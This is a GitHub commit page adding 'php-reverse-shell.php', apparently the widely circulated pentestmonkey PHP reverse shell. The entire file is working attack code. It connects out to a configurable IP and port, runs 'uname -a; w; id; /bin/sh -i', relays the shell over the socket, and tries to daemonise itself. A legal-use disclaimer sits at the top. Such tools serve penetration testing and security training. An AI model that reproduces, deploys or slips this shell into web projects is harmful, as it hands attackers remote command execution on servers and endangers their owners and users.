Skip to content

Commit 93a07dc

Browse files
authored
Create php-reverse-shell.php
1 parent ba6502f commit 93a07dc

File tree

1 file changed

+191
-0
lines changed

1 file changed

+191
-0
lines changed
+191
Original file line numberDiff line numberDiff line change
@@ -0,0 +1,191 @@
1+
<?php
2+
// php-reverse-shell - A Reverse Shell implementation in PHP
3+
// Copyright (C) 2007 [email protected]
4+
//
5+
// This tool may be used for legal purposes only. Users take full responsibility
6+
// for any actions performed using this tool. The author accepts no liability
7+
// for damage caused by this tool. If these terms are not acceptable to you, then
8+
// do not use this tool.
9+
//
10+
// In all other respects the GPL version 2 applies:
11+
//
12+
// This program is free software; you can redistribute it and/or modify
13+
// it under the terms of the GNU General Public License version 2 as
14+
// published by the Free Software Foundation.
15+
//
16+
// This program is distributed in the hope that it will be useful,
17+
// but WITHOUT ANY WARRANTY; without even the implied warranty of
18+
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
19+
// GNU General Public License for more details.
20+
//
21+
// You should have received a copy of the GNU General Public License along
22+
// with this program; if not, write to the Free Software Foundation, Inc.,
23+
// 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA.
24+
//
25+
// This tool may be used for legal purposes only. Users take full responsibility
26+
// for any actions performed using this tool. If these terms are not acceptable to
27+
// you, then do not use this tool.
28+
//
29+
// You are encouraged to send comments, improvements or suggestions to
30+
31+
//
32+
// Description
33+
// -----------
34+
// This script will make an outbound TCP connection to a hardcoded IP and port.
35+
// The recipient will be given a shell running as the current user (apache normally).
36+
//
37+
// Limitations
38+
// -----------
39+
// proc_open and stream_set_blocking require PHP version 4.3+, or 5+
40+
// Use of stream_select() on file descriptors returned by proc_open() will fail and return FALSE under Windows.
41+
// Some compile-time options are needed for daemonisation (like pcntl, posix). These are rarely available.
42+
//
43+
// Usage
44+
// -----
45+
// See http://pentestmonkey.net/tools/php-reverse-shell if you get stuck.
46+
47+
set_time_limit (0);
48+
$VERSION = "1.0";
49+
$ip = '127.0.0.1'; // CHANGE THIS
50+
$port = 1234; // CHANGE THIS
51+
$chunk_size = 1400;
52+
$write_a = null;
53+
$error_a = null;
54+
$shell = 'uname -a; w; id; /bin/sh -i';
55+
$daemon = 0;
56+
$debug = 0;
57+
58+
//
59+
// Daemonise ourself if possible to avoid zombies later
60+
//
61+
62+
// pcntl_fork is hardly ever available, but will allow us to daemonise
63+
// our php process and avoid zombies. Worth a try...
64+
if (function_exists('pcntl_fork')) {
65+
// Fork and have the parent process exit
66+
$pid = pcntl_fork();
67+
68+
if ($pid == -1) {
69+
printit("ERROR: Can't fork");
70+
exit(1);
71+
}
72+
73+
if ($pid) {
74+
exit(0); // Parent exits
75+
}
76+
77+
// Make the current process a session leader
78+
// Will only succeed if we forked
79+
if (posix_setsid() == -1) {
80+
printit("Error: Can't setsid()");
81+
exit(1);
82+
}
83+
84+
$daemon = 1;
85+
} else {
86+
printit("WARNING: Failed to daemonise. This is quite common and not fatal.");
87+
}
88+
89+
// Change to a safe directory
90+
chdir("/");
91+
92+
// Remove any umask we inherited
93+
umask(0);
94+
95+
//
96+
// Do the reverse shell...
97+
//
98+
99+
// Open reverse connection
100+
$sock = fsockopen($ip, $port, $errno, $errstr, 30);
101+
if (!$sock) {
102+
printit("$errstr ($errno)");
103+
exit(1);
104+
}
105+
106+
// Spawn shell process
107+
$descriptorspec = array(
108+
0 => array("pipe", "r"), // stdin is a pipe that the child will read from
109+
1 => array("pipe", "w"), // stdout is a pipe that the child will write to
110+
2 => array("pipe", "w") // stderr is a pipe that the child will write to
111+
);
112+
113+
$process = proc_open($shell, $descriptorspec, $pipes);
114+
115+
if (!is_resource($process)) {
116+
printit("ERROR: Can't spawn shell");
117+
exit(1);
118+
}
119+
120+
// Set everything to non-blocking
121+
// Reason: Occsionally reads will block, even though stream_select tells us they won't
122+
stream_set_blocking($pipes[0], 0);
123+
stream_set_blocking($pipes[1], 0);
124+
stream_set_blocking($pipes[2], 0);
125+
stream_set_blocking($sock, 0);
126+
127+
printit("Successfully opened reverse shell to $ip:$port");
128+
129+
while (1) {
130+
// Check for end of TCP connection
131+
if (feof($sock)) {
132+
printit("ERROR: Shell connection terminated");
133+
break;
134+
}
135+
136+
// Check for end of STDOUT
137+
if (feof($pipes[1])) {
138+
printit("ERROR: Shell process terminated");
139+
break;
140+
}
141+
142+
// Wait until a command is end down $sock, or some
143+
// command output is available on STDOUT or STDERR
144+
$read_a = array($sock, $pipes[1], $pipes[2]);
145+
$num_changed_sockets = stream_select($read_a, $write_a, $error_a, null);
146+
147+
// If we can read from the TCP socket, send
148+
// data to process's STDIN
149+
if (in_array($sock, $read_a)) {
150+
if ($debug) printit("SOCK READ");
151+
$input = fread($sock, $chunk_size);
152+
if ($debug) printit("SOCK: $input");
153+
fwrite($pipes[0], $input);
154+
}
155+
156+
// If we can read from the process's STDOUT
157+
// send data down tcp connection
158+
if (in_array($pipes[1], $read_a)) {
159+
if ($debug) printit("STDOUT READ");
160+
$input = fread($pipes[1], $chunk_size);
161+
if ($debug) printit("STDOUT: $input");
162+
fwrite($sock, $input);
163+
}
164+
165+
// If we can read from the process's STDERR
166+
// send data down tcp connection
167+
if (in_array($pipes[2], $read_a)) {
168+
if ($debug) printit("STDERR READ");
169+
$input = fread($pipes[2], $chunk_size);
170+
if ($debug) printit("STDERR: $input");
171+
fwrite($sock, $input);
172+
}
173+
}
174+
175+
fclose($sock);
176+
fclose($pipes[0]);
177+
fclose($pipes[1]);
178+
fclose($pipes[2]);
179+
proc_close($process);
180+
181+
// Like print, but does nothing if we've daemonised ourself
182+
// (I can't figure out how to redirect STDOUT like a proper daemon)
183+
function printit ($string) {
184+
if (!$daemon) {
185+
print "$string\n";
186+
}
187+
}
188+
189+
?>
190+
191+

0 commit comments

Comments
 (0)